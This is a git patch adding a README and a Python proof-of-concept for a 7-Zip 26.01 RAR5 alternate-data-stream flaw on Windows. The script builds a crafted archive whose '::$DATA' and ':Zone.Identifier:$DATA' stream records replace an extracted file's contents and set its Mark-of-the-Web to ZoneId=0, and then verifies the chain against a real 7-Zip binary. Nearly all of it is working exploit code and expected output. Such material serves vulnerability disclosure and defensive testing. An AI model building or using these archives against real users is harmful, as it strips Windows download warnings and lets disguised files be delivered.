From 64005f8f25e56d3d6717dae7a0a0ab502dafb716 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:29:15 +0000 Subject: [PATCH] Upload files to "7zip-rar5-motw-chain-poc" --- 7zip-rar5-motw-chain-poc/README.md | 91 ++++++++++++ 7zip-rar5-motw-chain-poc/poc.py | 231 +++++++++++++++++++++++++++++ 2 files changed, 322 insertions(+) create mode 100644 7zip-rar5-motw-chain-poc/README.md create mode 100644 7zip-rar5-motw-chain-poc/poc.py diff --git a/7zip-rar5-motw-chain-poc/README.md b/7zip-rar5-motw-chain-poc/README.md new file mode 100644 index 0000000..a7c64d8 --- /dev/null +++ b/7zip-rar5-motw-chain-poc/README.md @@ -0,0 +1,91 @@ +# 7-Zip RAR5 MotW/ADS Full-Chain PoC + +This repository contains a self-contained Python proof-of-concept for a RAR5 alternate-stream handling issue in 7-Zip 26.01 on Windows. + +The crafted RAR5 archive contains one visible file entry and two RAR5 `STM` service records: + +- `invoice.docx::$DATA` changes the final visible bytes of the extracted file. +- `invoice.docx:Zone.Identifier:$DATA` changes the extracted file's Mark-of-the-Web stream. + +When the source archive has an Internet-zone `Zone.Identifier`, 7-Zip propagates that marker to the extracted file. The crafted stream name with a `:$DATA` suffix then writes to the same NTFS stream name as Windows resolves it on disk. The result is an extracted `invoice.docx` whose visible content and MotW stream are both controlled by archive data. + +## Tested Target + +- 7-Zip 26.01 x64 for Windows +- Windows NTFS destination +- Python 3.10+ + +## Run + +Use an installed 7-Zip: + +```powershell +python .\poc.py --sevenzip "C:\Program Files\7-Zip\7z.exe" +``` + +Or pass any 7-Zip 26.01 `7z.exe` path: + +```powershell +python .\poc.py --sevenzip "C:\path\to\7z.exe" --work-dir .\poc-run +``` + +Expected successful output: + +```text +[+] 7-Zip: 7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27 +[+] archive sha256: A962DDB7A0313545521C3250EB7E01EB275F50C83DBC0466FFC94011FB4A0800 +[+] final visible content: ATTACKER final visible bytes from ::$DATA stream\r\n +[+] final Zone.Identifier: [ZoneTransfer]\r\nZoneId=0\r\n +[+] VULNERABLE: full chain verified +``` + +## What The PoC Verifies + +The script performs the full chain: + +1. Builds a minimal RAR5 archive in Python. +2. Adds a normal `invoice.docx` file entry with benign-looking bytes. +3. Adds a RAR5 `STM` stream named `::$DATA` with attacker-controlled final file bytes. +4. Adds a RAR5 `STM` stream named `:Zone.Identifier:$DATA` with attacker-controlled MotW bytes. +5. Marks the source archive itself as Internet-zone with `ZoneId=3`. +6. Extracts with 7-Zip using zone propagation. +7. Checks that the extracted `invoice.docx` contains the `::$DATA` payload. +8. Checks that `invoice.docx:Zone.Identifier` contains `ZoneId=0`. + +## Why It Works + +7-Zip has special handling for `Zone.Identifier` propagation. It recognizes and suppresses an exact archive-provided `Zone.Identifier` alternate stream while applying the source archive's Internet-zone marker to the extracted file. + +The crafted stream name uses a Windows stream type suffix: + +```text +Zone.Identifier:$DATA +``` + +7-Zip's guard treats that as a different stream name, but NTFS resolves: + +```text +file:Zone.Identifier +file:Zone.Identifier:$DATA +``` + +to the same alternate data stream. The archive-provided stream therefore replaces the propagated marker. + +The same stream suffix behavior is used with: + +```text +::$DATA +``` + +which targets the unnamed/default NTFS data stream of the extracted file. That is why the final visible file bytes differ from the benign main file entry. + +## Files Written + +The PoC writes only inside the selected work directory: + +- `rar5-content-and-motw-chain.rar` +- `out\invoice.docx` +- NTFS alternate streams attached to those files + +The default work directory is `.\poc-run`. + diff --git a/7zip-rar5-motw-chain-poc/poc.py b/7zip-rar5-motw-chain-poc/poc.py new file mode 100644 index 0000000..f9af06e --- /dev/null +++ b/7zip-rar5-motw-chain-poc/poc.py @@ -0,0 +1,231 @@ +from __future__ import annotations + +import argparse +import binascii +import hashlib +import os +import shutil +import struct +import subprocess +import sys +from pathlib import Path + + +MARKER = b"Rar!\x1a\x07\x01\x00" + +HFL_EXTRA = 1 << 0 +HFL_DATA = 1 << 1 + +HT_ARC = 1 +HT_FILE = 2 +HT_SERVICE = 3 +HT_END = 5 + +EXTRA_SUBDATA = 7 +HOST_WINDOWS = 0 +ATTR_ARCHIVE = 0x20 + +MAIN_NAME = "invoice.docx" +MAIN_BYTES = b"BENIGN preview bytes from main RAR5 file\r\n" +FINAL_BYTES = b"ATTACKER final visible bytes from ::$DATA stream\r\n" +FINAL_ZONE = b"[ZoneTransfer]\r\nZoneId=0\r\n" +SOURCE_ZONE = b"[ZoneTransfer]\r\nZoneId=3\r\n" + + +def vint(value: int) -> bytes: + if value < 0: + raise ValueError("negative vint") + out = bytearray() + while True: + b = value & 0x7F + value >>= 7 + if value: + out.append(b | 0x80) + else: + out.append(b) + return bytes(out) + + +def block(header_type: int, header_flags: int, body: bytes, *, extra: bytes = b"", data: bytes = b"") -> bytes: + fields = bytearray() + fields += vint(header_type) + flags = header_flags + if extra: + flags |= HFL_EXTRA + if data: + flags |= HFL_DATA + fields += vint(flags) + if extra: + fields += vint(len(extra)) + if data: + fields += vint(len(data)) + fields += body + fields += extra + + size = vint(len(fields)) + crc_data = size + fields + crc = binascii.crc32(crc_data) & 0xFFFFFFFF + return struct.pack(" bytes: + name_bytes = (record_name if record_name is not None else name).encode("utf-8") + body = bytearray() + body += vint(0) + body += vint(len(data)) + body += vint(ATTR_ARCHIVE) + body += vint(method) + body += vint(HOST_WINDOWS) + body += vint(len(name_bytes)) + body += name_bytes + return bytes(body) + + +def subdata_extra(stream_name: str) -> bytes: + data = stream_name.encode("utf-8") + rec = vint(EXTRA_SUBDATA) + data + return vint(len(rec)) + rec + + +def service_stream(parent_name: str, stream_name: str, payload: bytes) -> bytes: + return block( + HT_SERVICE, + 0, + file_body(parent_name, payload, record_name="STM"), + extra=subdata_extra(stream_name), + data=payload, + ) + + +def build_archive() -> bytes: + out = bytearray(MARKER) + out += block(HT_ARC, 0, vint(0)) + out += block(HT_FILE, 0, file_body(MAIN_NAME, MAIN_BYTES), data=MAIN_BYTES) + out += service_stream(MAIN_NAME, "::$DATA", FINAL_BYTES) + out += service_stream(MAIN_NAME, ":Zone.Identifier:$DATA", FINAL_ZONE) + out += block(HT_END, 0, vint(0)) + return bytes(out) + + +def sha256(path: Path) -> str: + h = hashlib.sha256() + with path.open("rb") as f: + for chunk in iter(lambda: f.read(1024 * 1024), b""): + h.update(chunk) + return h.hexdigest().upper() + + +def find_7z(explicit: str | None) -> Path: + candidates: list[str] = [] + if explicit: + candidates.append(explicit) + found = shutil.which("7z") + if found: + candidates.append(found) + candidates.append(r"C:\Program Files\7-Zip\7z.exe") + candidates.append(r"C:\Program Files (x86)\7-Zip\7z.exe") + + for candidate in candidates: + path = Path(candidate) + if path.is_file(): + return path + raise SystemExit("7z.exe not found. Pass --sevenzip C:\\path\\to\\7z.exe") + + +def run_7z(sevenzip: Path, *args: str) -> str: + proc = subprocess.run( + [str(sevenzip), *args], + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + errors="replace", + check=False, + ) + if proc.returncode != 0: + raise RuntimeError(f"7-Zip failed with exit code {proc.returncode}\n{proc.stdout}") + return proc.stdout + + +def read_ads(path: Path, stream_name: str) -> bytes: + with open(str(path) + ":" + stream_name, "rb") as f: + return f.read() + + +def write_ads(path: Path, stream_name: str, data: bytes) -> None: + with open(str(path) + ":" + stream_name, "wb") as f: + f.write(data) + + +def printable(data: bytes) -> str: + return data.decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") + + +def main() -> int: + parser = argparse.ArgumentParser(description="Verify the 7-Zip RAR5 STM MotW/ADS full chain.") + parser.add_argument("--sevenzip", help="Path to 7z.exe. Defaults to PATH or Program Files.") + parser.add_argument("--work-dir", default="poc-run", help="Directory for generated files.") + args = parser.parse_args() + + if os.name != "nt": + raise SystemExit("This PoC uses Windows NTFS alternate data streams.") + + sevenzip = find_7z(args.sevenzip) + work_dir = Path(args.work_dir).resolve() + if work_dir.exists(): + shutil.rmtree(work_dir) + work_dir.mkdir(parents=True) + + archive_path = work_dir / "rar5-content-and-motw-chain.rar" + archive_path.write_bytes(build_archive()) + write_ads(archive_path, "Zone.Identifier", SOURCE_ZONE) + + version = run_7z(sevenzip).splitlines()[1].strip() + listing = run_7z(sevenzip, "l", "-slt", "-sns", str(archive_path)) + output_dir = work_dir / "out" + output_dir.mkdir() + extraction = run_7z(sevenzip, "x", "-y", "-snz1", f"-o{output_dir}", str(archive_path)) + + final_path = output_dir / MAIN_NAME + final_content = final_path.read_bytes() + final_zone = read_ads(final_path, "Zone.Identifier") + + if final_content != FINAL_BYTES: + raise AssertionError(f"Final visible content mismatch: {printable(final_content)}") + if final_zone != FINAL_ZONE: + raise AssertionError(f"Final Zone.Identifier mismatch: {printable(final_zone)}") + + listed_rows = [ + line + for line in listing.splitlines() + if line in { + "Path = invoice.docx", + "Path = invoice.docx::$DATA", + "Path = invoice.docx:Zone.Identifier:$DATA", + "Alternate Stream = -", + "Alternate Stream = +", + } + or line.startswith("Size = ") + ] + extracted_rows = [ + line + for line in extraction.splitlines() + if "Everything is Ok" in line or line.startswith("Files:") or line.startswith("Alternate Streams") + ] + + print(f"[+] 7-Zip: {version}") + print(f"[+] archive: {archive_path}") + print(f"[+] archive sha256: {sha256(archive_path)}") + print("[+] listing evidence:") + for row in listed_rows: + print(f" {row}") + print("[+] extraction evidence:") + for row in extracted_rows: + print(f" {row}") + print(f"[+] final visible content: {printable(final_content)}") + print(f"[+] final Zone.Identifier: {printable(final_zone)}") + print("[+] VULNERABLE: full chain verified") + return 0 + + +if __name__ == "__main__": + sys.exit(main())